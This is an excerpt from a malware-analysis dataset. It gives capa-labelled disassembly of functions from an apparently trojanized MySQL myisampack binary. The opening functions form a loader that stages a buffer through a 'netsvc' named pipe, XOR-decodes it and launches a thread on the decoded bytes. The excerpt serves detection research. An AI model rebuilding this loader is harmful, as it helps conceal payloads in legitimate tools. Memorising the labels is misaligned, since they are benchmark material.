joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400012d0
Capabilities:
Create thread
Encode data using xor

Disassembly:
push r15
push r14
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x30
mov rdi, r8
mov ebp, edx
mov rbx, rcx
mov ecx, 0x40000
xor edx, edx
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_HeapCreate]
mov r15, rax
mov r8d, 0xa
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rsi, rax
test ebp, ebp
jle 0x140001441
mov r14d, ebp
xor r12d, r12d
mov rcx, r15
xor edx, edx
mov r8, rsi
mov r9, r14
call qword [sym.imp.KERNEL32.dll_HeapReAlloc]
mov rsi, rax
cmp ebp, 8
jb 0x1400013e9
lea rax, [r14 - 9]
cmp rax, 0xfffffffffffffff8
jb 0x1400013e9
mov rax, rsi
sub rax, rbx
xor r12d, r12d
cmp rax, 0x20
jb 0x1400013e9
mov rax, rsi
sub rax, rdi
cmp rax, 0x20
jb 0x1400013e9
cmp ebp, 0x20
jae 0x140001373
xor r12d, r12d
jmp 0x1400013b7
mov r12d, r14d
and r12d, 0xffffffe0
xor eax, eax
nop dword [rax]
movups xmm0, xmmword [rbx + rax]
movups xmm1, xmmword [rbx + rax + 0x10]
movups xmm2, xmmword [rdi]
xorps xmm2, xmm0
movups xmm0, xmmword [rdi + 0x10]
xorps xmm0, xmm1
movups xmmword [rsi + rax], xmm2
movups xmmword [rsi + rax + 0x10], xmm0
add rax, 0x20
cmp r12, rax
jne 0x140001380
cmp r12, r14
je 0x140001441
test r14b, 0x18
je 0x1400013e9
mov rax, r12
mov r12d, r14d
and r12d, 0xfffffff8
nop word cs:[rax + rax]
mov rcx, qword [rdi]
xor rcx, qword [rbx + rax]
mov qword [rsi + rax], rcx
add rax, 8
cmp r12, rax
jne 0x1400013d0
cmp r12, r14
je 0x140001441
mov rax, r12
not rax
test r14b, 1
je 0x140001404
movzx ecx, byte [rdi]
xor cl, byte [rbx + r12]
mov byte [rsi + r12], cl
or r12, 1
add rax, r14
je 0x140001441
nop dword [rax]
mov eax, r12d
and eax, 7
movzx eax, byte [rdi + rax]
xor al, byte [rbx + r12]
mov byte [rsi + r12], al
lea eax, [r12 + 1]
and eax, 7
movzx eax, byte [rdi + rax]
xor al, byte [rbx + r12 + 1]
mov byte [rsi + r12 + 1], al
add r12, 2
cmp r14, r12
jne 0x140001410
call fcn.140001290
mov rcx, rsi
call fcn.140001000
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
lea r8, [0x1400012b0]
xor ecx, ecx
xor edx, edx
mov r9, rsi
call qword [sym.imp.KERNEL32.dll_CreateThread]
nop
add rsp, 0x30
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret
Function at 0x140001510
Capabilities:
Connect pipe
Create pipe
Write file on windows
Write pipe

Disassembly:
push r15
push r14
push rsi
push rdi
push rbx
sub rsp, 0x50
mov edi, edx
mov rsi, rcx
mov rax, qword [0x1400a9c40]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov dword [rsp + 0x44], 0
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
lea rcx, [0x1400aa7b0]
mov edx, 2
xor r8d, r8d
mov r9d, 1
call qword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
mov rbx, rax
inc rax
cmp rax, 2
jb 0x1400015de
mov rcx, rbx
xor edx, edx
call qword [sym.imp.KERNEL32.dll_ConnectNamedPipe]
test eax, eax
je 0x1400015de
test edi, edi
jle 0x1400015d5
lea r14, [rsp + 0x44]
mov r15, qword [sym.imp.KERNEL32.dll_WriteFile]
nop
mov qword [rsp + 0x20], 0
mov rcx, rbx
mov rdx, rsi
mov r8d, edi
mov r9, r14
call r15
test eax, eax
je 0x1400015d5
mov eax, dword [rsp + 0x44]
add rsi, rax
mov ecx, eax
not ecx
and ecx, edi
or eax, edi
add ecx, edi
sub ecx, eax
mov edi, ecx
test ecx, ecx
jg 0x1400015a0
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.140001860
nop
add rsp, 0x50
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret

Function at 0x140001600
Capabilities:
Read file on windows

Disassembly:
push r15
push r14
push rsi
push rdi
push rbx
sub rsp, 0x50
mov edi, edx
mov rsi, rcx
mov rax, qword [0x1400a9c40]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov dword [rsp + 0x44], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
lea rcx, [0x1400aa7b0]
xor r14d, r14d
mov edx, 0x80000000
mov r8d, 3
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateFileA]
cmp rax, 0xffffffffffffffff
je 0x1400016c4
mov rbx, rax
test edi, edi
jle 0x1400016b5
lea r14, [rsp + 0x44]
mov r15, qword [sym.imp.KERNEL32.dll_ReadFile]
nop word [rax + rax]
mov qword [rsp + 0x20], 0
mov rcx, rbx
mov rdx, rsi
mov r8d, edi
mov r9, r14
call r15
test eax, eax
je 0x1400016b5
mov eax, dword [rsp + 0x44]
add rsi, rax
mov ecx, eax
not ecx
and ecx, edi
or eax, edi
add ecx, edi
sub ecx, eax
mov edi, ecx
test ecx, ecx
jg 0x140001680
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r14d, 1
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.140001860
mov eax, r14d
add rsp, 0x50
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret
Function at 0x140001760
Capabilities:
Create thread

Disassembly:
push rsi
push rdi
sub rsp, 0x28
movsxd rcx, dword [0x14005e004]
call fcn.14001fe0c
mov rsi, rax
mov rdi, qword [sym.imp.KERNEL32.dll_Sleep]
nop dword [rax]
mov ecx, 0x400
call rdi
mov edx, dword [0x14005e004]
mov rcx, rsi
call fcn.140001600
test eax, eax
je 0x140001720
mov edx, dword [0x14005e004]
lea r8, [0x14005e008]
mov rcx, rsi
call fcn.1400012d0
mov rcx, rsi
call fcn.14001fe04
xor eax, eax
add rsp, 0x28
pop rdi
pop rsi
ret
sub rsp, 0x68
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, eax
mov edx, 0xd3e057bb
imul rdx, rcx
shr rdx, 0x2d
imul ecx, edx, 0x26aa
sub eax, ecx
mov dword [rsp + 0x58], eax
mov dword [rsp + 0x50], 0x5c
mov dword [rsp + 0x48], 0x65
mov dword [rsp + 0x40], 0x70
mov dword [rsp + 0x38], 0x69
mov dword [rsp + 0x30], 0x70
mov dword [rsp + 0x28], 0x5c
mov dword [rsp + 0x20], 0x2e
lea rcx, [0x1400aa7b0]
lea rdx, str._c_c_c_c_c_c_c_c_cnetsvc_d
mov r8d, 0x5c
mov r9d, 0x5c
call fcn.140001490
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
lea r8, [0x1400016e0]
xor ecx, ecx
xor edx, edx
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateThread]
nop
add rsp, 0x68
jmp 0x140001700

Function at 0x140002548
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140002592
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140002592
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140002592
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140002592
cmp dword [rcx + 0x84], 0xe
jbe 0x140002592
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140002594
xor al, al
add rsp, 0x28
ret

Function at 0x14001b870
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x14001bb00

Function at 0x14001fea0
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14001fec8
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x14001fec8
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x1400391f4
Capabilities:
Create thread
Print debug messages

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x50
mov esi, r8d
mov r14, rdx
mov rbx, rcx
call fcn.14002b2bc
mov bpl, al
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
xor edi, edi
test eax, eax
je 0x140039247
test rbx, rbx
je 0x140039238
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
test bpl, bpl
je 0x140039247
mov edi, 4
jmp 0x1400392f0
call fcn.14002b09c
test al, al
jne 0x140039264
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
neg eax
sbb edi, edi
neg edi
add edi, 3
jmp 0x1400392f0
test bpl, bpl
je 0x1400392c7
mov qword [rsp + 0x28], rdi
lea r9, [rsp + 0x30]
lea r8, [0x140039630]
mov dword [rsp + 0x20], edi
xor edx, edx
mov qword [rsp + 0x30], r14
xor ecx, ecx
mov qword [rsp + 0x38], rbx
mov dword [rsp + 0x40], esi
mov dword [rsp + 0x44], edi
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x1400392f0
xor r8d, r8d
or edx, 0xffffffff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObjectEx]
mov rcx, rbx
test eax, eax
je 0x1400392c1
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1400392f0
mov edi, dword [rsp + 0x44]
jmp 0x1400392b9
call fcn.14002b1e8
test al, al
jne 0x1400392d8
bts esi, 0x15
xor ecx, ecx
jmp 0x1400392e0
call fcn.14002b158
mov rcx, rax
mov r9d, esi
mov r8, r14
mov rdx, rbx
call fcn.14002aed4
mov edi, eax
mov rbx, qword [rsp + 0x60]
mov eax, edi
mov rdi, qword [rsp + 0x78]
mov rbp, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
add rsp, 0x50
pop r14
ret
Function at 0x140002aa0
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov rax, qword [rdx]
mov rdi, rcx
mov esi, 1
mov rbx, rdx
mov ecx, esi
mov r8, qword [rax]
mov qword [0x14036e3b0], r8
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__fileno]
mov ecx, eax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__isatty]
mov r8d, dword [0x140365bc0]
lea r9, [0x1400028e0]
test eax, eax
mov rdx, rbx
mov rcx, rdi
cmovne r8d, esi
mov dword [0x140365bc0], r8d
lea r8, str.backup
call fcn.140025fe0
test eax, eax
je 0x140002b1a
mov ecx, eax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
cmp dword [rdi], 0
jne 0x140002b2d
call fcn.140004a30
mov ecx, esi
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
cmp qword [0x140365ba8], 0
je 0x140002b45
mov byte [0x140365ba0], 0
mov byte [0x140365bd0], 0
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
Function at 0x1400037a0
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rbp
push rbx
mov rbp, rsp
sub rsp, 0x78
mov rax, qword [rdx]
mov qword [0x14036e3b0], rax
call fcn.1400224f0
lea r9, [rbp + 0x20]
lea r8, [rbp + 0x18]
lea rdx, str.myisampack
lea rcx, [0x14005f88c]
call fcn.140023db0
test eax, eax
je 0x140003806
xor ecx, ecx
cmp eax, 4
je 0x1400037f8
call fcn.1400223a0
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
call fcn.1400223a0
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov qword [rsp + 0xa8], rsi
lea rdx, [rbp + 0x20]
mov qword [rsp + 0x70], rdi
lea rcx, [rbp + 0x18]
mov qword [rsp + 0x60], r15
mov r15, qword [rbp + 0x20]
call fcn.140002aa0
xor edi, edi
mov esi, edi
mov dword [0x140365bc8], edi
cmp qword [0x140365ba8], rsi
lea ebx, [rdi + 1]
je 0x14000388a
mov r8d, dword [rbp + 0x18]
lea rcx, [rbp - 0x58]
mov rdx, qword [rbp + 0x20]
call fcn.140004300
test al, al
jne 0x140003883
mov rdx, qword [0x140365ba8]
lea rcx, [rbp - 0x58]
call fcn.140001700
test eax, eax
jne 0x140003883
mov rcx, qword [rbp + 0x20]
mov rdx, qword [0x140365ba8]
mov rcx, qword [rcx]
call fcn.140002590
test eax, eax
je 0x140003929
mov esi, ebx
jmp 0x140003929
mov eax, dword [rbp + 0x18]
mov qword [rsp + 0x68], r14
mov r14d, edi
test eax, eax
je 0x140003900
nop dword [rax]
dec eax
mov edx, 2
mov dword [rbp + 0x18], eax
mov rax, qword [rbp + 0x20]
mov rcx, qword [rax]
add rax, 8
mov qword [rbp + 0x20], rax
call fcn.1400041a0
mov qword [rbp + 0x28], rax
test rax, rax
jne 0x1400038cb
mov esi, ebx
jmp 0x1400038f3
lea rax, [rbp + 0x28]
mov qword [rbp - 0x50], rdi
xor edx, edx
mov qword [rbp - 0x58], rax
lea rcx, [rbp - 0x58]
mov dword [rbp - 0x40], edi
mov dword [rbp - 0x3c], ebx
call fcn.140001700
test eax, eax
je 0x1400038f0
mov esi, ebx
jmp 0x1400038f3
mov r14d, ebx
mov eax, dword [rbp + 0x18]
test eax, eax
jne 0x1400038a0
mov edi, dword [0x140365bc8]
dec eax
test r14d, r14d
mov dword [rbp + 0x18], eax
mov r14, qword [rsp + 0x68]
je 0x140003929
test edi, edi
je 0x140003929
cmp dword [0x140365bbc], 0
jne 0x140003929
lea rcx, str.Remember_to_run_myisamchk__rq_on_compressed_tables
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_puts]
mov ecx, ebx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fflush]
mov ecx, 2
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fflush]
mov rcx, r15
call fcn.1400238f0
cmp dword [0x140365bb8], 0
mov eax, 3
cmovne ebx, eax
mov ecx, ebx
call fcn.1400223a0
neg esi
sbb ecx, ecx
and ecx, 2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
mov r15, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x70]
mov rsi, qword [rsp + 0xa8]
int3
Function at 0x140010a70
Capabilities:
Hash data with crc32

Disassembly:
mov rax, qword [rcx]
xor ecx, ecx
mov r8d, dword [rax + 0x124]
jmp fcn.14002e700

Function at 0x14001f7a0
Capabilities:
Get geographical location

Disassembly:
sub rsp, 0x48
mov rax, qword [0x140365b58]
xor rax, rsp
mov qword [rsp + 0x30], rax
mov rax, qword [0x140369f18]
test rax, rax
jne 0x14001f857
movzx eax, word [0x1400620bc]
lea r8, [rsp + 0x22]
mov word [rsp + 0x20], ax
mov edx, 0x1004
movzx eax, byte [0x1400620be]
mov ecx, 0x800
mov byte [rsp + 0x22], al
xor eax, eax
mov dword [rsp + 0x23], eax
mov word [rsp + 0x27], ax
mov byte [rsp + 0x29], al
lea r9d, [rax + 7]
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
xor edx, edx
lea r8, [rsp + 0x20]
mov eax, edx
lea r9, str.cp932
nop dword [rax]
nop word [rax + rax]
movzx ecx, byte [r8 + rax]
inc rax
cmp cl, byte [r9 + rax - 1]
jne 0x14001f837
cmp rax, 6
jne 0x14001f820
jmp 0x14001f83c
sbb edx, edx
or edx, 1
test edx, edx
lea rcx, [0x1401b2f10]
lea rax, [0x1401b26c0]
cmove rax, rcx
mov qword [0x140369f18], rax
mov rcx, qword [rsp + 0x30]
xor rcx, rsp
call fcn.14005df20
add rsp, 0x48
ret

Function at 0x140020a30
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push rbx
sub rsp, 0x60
mov ecx, dword [0x1403db230]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rcx, qword [0x1401b1ed0]
mov rbx, rax
call qword [rcx + 0x120]
mov ecx, dword [0x1403db230]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
test rbx, rbx
je 0x140020b52
cmp byte [rbx + 0x74], 0
je 0x140020b52
mov rcx, rbx
mov qword [rsp + 0x70], rdi
call fcn.1400207f0
mov rdx, qword [0x1403db1a8]
test rdx, rdx
je 0x140020ad9
mov rax, qword [0x1401b1ed0]
lea r9, str.D:winx64_packages_build_srcmysysmy_thr_init.c
xor r8d, r8d
mov dword [rsp + 0x20], 0x17a
lea rcx, [rsp + 0x30]
call qword [rax + 0x178]
lea rcx, [0x1403db180]
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
test rdi, rdi
je 0x140020ae6
mov rax, qword [0x1401b1ed0]
xor edx, edx
mov rcx, rdi
call qword [rax + 0x180]
jmp 0x140020ae6
lea rcx, [0x1403db180]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
add dword [0x14036df24], 0xffffffff
mov rdi, qword [rsp + 0x70]
jne 0x140020b19
mov rcx, qword [0x1403db128]
test rcx, rcx
je 0x140020b0d
mov rax, qword [0x1401b1ed0]
call qword [rax + 0x158]
lea rcx, [0x1403db120]
call fcn.140030d60
mov rcx, qword [0x1403db1a8]
test rcx, rcx
je 0x140020b32
mov rax, qword [0x1401b1ed0]
call qword [rax + 0x148]
lea rcx, [0x1403db180]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov rcx, rbx
mov byte [rbx + 0x74], 2
add rsp, 0x60
pop rbx
jmp qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
add rsp, 0x60
pop rbx
ret
Function at 0x140020d70
Capabilities:
Allocate thread local storage

Disassembly:
sub rsp, 0x28
cmp byte [0x14036df28], 0
je 0x140020d84
xor al, al
add rsp, 0x28
ret
cmp byte [0x14036df20], 0
mov qword [rsp + 0x20], rbx
mov byte [0x14036df28], 1
jne 0x140020dd8
call qword [sym.imp.KERNEL32.dll_TlsAlloc]
xor ebx, ebx
mov dword [0x1403db230], eax
cmp eax, 0xffffffff
sete bl
jne 0x140020dd8
mov ecx, 2
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov r8d, ebx
lea rdx, str.Cant_initialize_threads:_error__d_n
mov rcx, rax
call fcn.1400027b0
mov rbx, qword [rsp + 0x20]
mov al, 1
add rsp, 0x28
ret
mov byte [0x14036df20], 1
call fcn.1400210c0
call fcn.140020e10
test al, al
jne 0x140020dcc
call fcn.140020780
mov dword [0x14036e9f0], eax
call fcn.140020f80
mov rbx, qword [rsp + 0x20]
xor al, al
add rsp, 0x28
ret

Function at 0x140020e10
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push rbx
sub rsp, 0x60
xor bl, bl
cmp byte [0x14036df28], bl
jne 0x140020e28
mov al, 1
add rsp, 0x60
pop rbx
ret
mov ecx, dword [0x1403db230]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
test rax, rax
jne 0x140020f74
call fcn.140020790
mov edx, 0xa8
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_calloc]
mov qword [rsp + 0x70], rax
test rax, rax
jne 0x140020e67
mov bl, 1
movzx eax, bl
add rsp, 0x60
pop rbx
ret
mov ecx, dword [0x1403db230]
mov rdx, rax
mov qword [rsp + 0x78], rdi
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov rcx, qword [rsp + 0x70]
mov dword [rcx + 0x58], eax
mov rcx, qword [rsp + 0x70]
call fcn.140021150
mov eax, dword [0x1401b19f0]
lea rcx, [rsp + 0x70]
neg eax
cdqe
add rcx, rax
mov rax, qword [rsp + 0x70]
mov qword [rax + 0x98], rcx
mov rdx, qword [0x1403db1a8]
test rdx, rdx
je 0x140020f0a
mov rax, qword [0x1401b1ed0]
lea r9, str.D:winx64_packages_build_srcmysysmy_thr_init.c
xor r8d, r8d
mov dword [rsp + 0x20], 0x133
lea rcx, [rsp + 0x30]
call qword [rax + 0x178]
lea rcx, [0x1403db180]
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
test rdi, rdi
je 0x140020f17
mov rax, qword [0x1401b1ed0]
xor edx, edx
mov rcx, rdi
call qword [rax + 0x180]
jmp 0x140020f17
lea rcx, [0x1403db180]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rax, qword [rsp + 0x70]
mov rdx, qword [0x14036df30]
mov rdi, qword [rsp + 0x78]
inc rdx
mov qword [0x14036df30], rdx
mov qword [rax + 0x68], rdx
mov rax, qword [rsp + 0x70]
mov qword [rax + 0x60], rdx
inc dword [0x14036df24]
mov rcx, qword [0x1403db1a8]
test rcx, rcx
je 0x140020f5e
mov rdx, qword [0x1401b1ed0]
call qword [rdx + 0x148]
lea rcx, [0x1403db180]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov rcx, qword [rsp + 0x70]
mov byte [rcx + 0x74], 1
movzx eax, bl
add rsp, 0x60
pop rbx
ret
Function at 0x1400217c0
Capabilities:
Check if file exists
Delete file
Get file attributes
Move file

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x180
mov rax, qword [0x140365b58]
xor rax, rsp
mov qword [rsp + 0x170], rax
mov rbx, rcx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x140021889
test al, 0x10
je 0x14002180b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
mov dword [rax], 0x16
mov eax, 0xffffffff
jmp 0x1400218dd
mov rcx, rbx
bt eax, 0xa
jae 0x140021823
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
je 0x140021889
jmp 0x1400218db
xor edi, edi
xor r9d, r9d
mov qword [rsp + 0x30], rdi
xor r8d, r8d
mov dword [rsp + 0x28], 0x4000000
mov edx, 0x10000
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileA]
cmp rax, 0xffffffffffffffff
je 0x140021856
mov rcx, rax
jmp 0x1400218d5
xor r9d, r9d
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x4000000
mov edx, 0x10000
mov rcx, rbx
mov dword [rsp + 0x20], 3
lea r8d, [r9 + 7]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rdi, rax
cmp rax, 0xffffffffffffffff
jne 0x14002189d
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, eax
call fcn.140030ec0
mov eax, 0xffffffff
jmp 0x1400218dd
rdtsc
shl rdx, 0x20
lea r8, str._s._llx.deleted
or rax, rdx
lea rcx, [rsp + 0x40]
mov edx, 0x127
mov qword [rsp + 0x20], rax
mov r9, rbx
call fcn.140034200
lea rdx, [rsp + 0x40]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_MoveFileA]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov rcx, qword [rsp + 0x170]
xor rcx, rsp
call fcn.14005df20
mov rbx, qword [rsp + 0x198]
add rsp, 0x180
pop rdi
ret

Function at 0x140021eb0
Capabilities:
Check if file exists
Move file

Disassembly:
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x30
mov esi, r8d
mov rbp, rdx
mov r8d, 3
mov rdi, rcx
call qword [sym.imp.KERNEL32.dll_MoveFileExA]
test eax, eax
jne 0x140021f65
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, eax
call fcn.140030ec0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
cmp dword [rax], 2
jne 0x140021f10
xor edx, edx
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__access]
test eax, eax
jne 0x140021f10
call fcn.140020770
mov dword [rax], 0x14
jmp 0x140021f2c
mov qword [rsp + 0x40], rbx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
mov rbx, rax
call fcn.140020770
mov ecx, dword [rbx]
mov rbx, qword [rsp + 0x40]
mov dword [rax], ecx
test sil, 0x18
je 0x140021f50
call fcn.140020770
mov edx, 4
mov r9, rbp
mov r8, rdi
mov ecx, dword [rax]
mov dword [rsp + 0x20], ecx
lea ecx, [rdx + 3]
call fcn.140020590
mov eax, 0xffffffff
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret
mov rbp, qword [rsp + 0x48]
xor eax, eax
mov rsi, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret
Function at 0x1400224f0
Capabilities:
Query environment variable

Disassembly:
sub rsp, 0x28
cmp byte [0x14036df3c], 0
jne 0x140022623
inc dword [0x14036df38]
lea rcx, str.UMASK
mov byte [0x14036df3c], 1
mov dword [0x1401b1dbc], 0x1b0
mov dword [0x1401b1dc8], 0x1c0
mov dword [0x14036e5d4], 0
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
test rax, rax
je 0x140022551
mov rcx, rax
call fcn.140022330
or eax, 0x180
mov dword [0x1401b1dbc], eax
lea rcx, str.UMASK_DIR
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
test rax, rax
je 0x140022576
mov rcx, rax
call fcn.140022330
or eax, 0x1c0
mov dword [0x1401b1dc8], eax
call fcn.140001020
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov rcx, qword [0x14036e3b0]
mov qword [0x14036df48], rax
lea rax, [0x14036df48]
mov qword [0x14036df40], rax
lea rax, str.unknown
mov qword [0x14036e3b8], rax
mov qword [0x14036df50], 0
test rcx, rcx
je 0x1400225d0
call fcn.140022c90
add rax, qword [0x14036e3b0]
mov qword [0x14036e3b8], rax
call fcn.140001020
call fcn.140020d70
test al, al
je 0x1400225e5
mov al, 1
add rsp, 0x28
ret
lea rcx, str.HOME
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
mov qword [0x14036e3a8], rax
test rax, rax
je 0x140022614
mov rdx, rax
lea rcx, [0x14036e5e0]
call fcn.14002dea0
mov qword [0x14036e3a8], rax
call fcn.140030e10
call fcn.140022630
call fcn.140022710
xor al, al
add rsp, 0x28
ret
Function at 0x140022630
Capabilities:
Query or enumerate registry value

Disassembly:
sub rsp, 0x28
lea rcx, [0x1400207c0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__set_invalid_parameter_handler]
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__tzset]
add rsp, 0x28
jmp 0x1400227c0
push rbp
lea rbp, [rsp - 0x980]
sub rsp, 0xa80
mov rax, qword [0x140365b58]
xor rax, rsp
mov qword [rbp + 0x970], rax
lea rax, [rsp + 0x50]
mov r9d, 0x20019
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.SOFTWAREMySQL
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x14002293e
mov rcx, qword [rsp + 0x50]
lea rax, [rsp + 0x40]
mov qword [rsp + 0x38], rax
lea r9, [rsp + 0x44]
lea rax, [rbp + 0x60]
mov qword [rsp + 0xa90], rbx
mov qword [rsp + 0x30], rax
lea r8, [rsp + 0x60]
lea rax, [rsp + 0x48]
mov qword [rsp + 0xa98], rdi
xor edi, edi
mov qword [rsp + 0x28], rax
xor edx, edx
mov qword [rsp + 0x20], rdi
mov ebx, edi
mov dword [rsp + 0x44], 0xff
mov dword [rsp + 0x40], 0x3ff
call qword [sym.imp.ADVAPI32.dll_RegEnumValueA]
cmp eax, 0x103
je 0x140022923
nop dword [rax]
inc ebx
cmp eax, 0xea
je 0x1400228cf
test eax, eax
jne 0x140022923
cmp dword [rsp + 0x48], 1
jne 0x1400228cf
lea r9, [rbp + 0x60]
mov qword [rsp + 0x20], rdi
lea r8, [0x1400623f0]
lea rdx, [rsp + 0x60]
lea rcx, [rbp + 0x460]
call fcn.140034f90
lea rcx, [rbp + 0x460]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__strdup]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll__putenv]
mov rcx, qword [rsp + 0x50]
lea rax, [rsp + 0x40]
mov qword [rsp + 0x38], rax
lea r9, [rsp + 0x44]
lea rax, [rbp + 0x60]
mov dword [rsp + 0x44], 0xff
mov qword [rsp + 0x30], rax
lea r8, [rsp + 0x60]
lea rax, [rsp + 0x48]
mov dword [rsp + 0x40], 0x3ff
mov qword [rsp + 0x28], rax
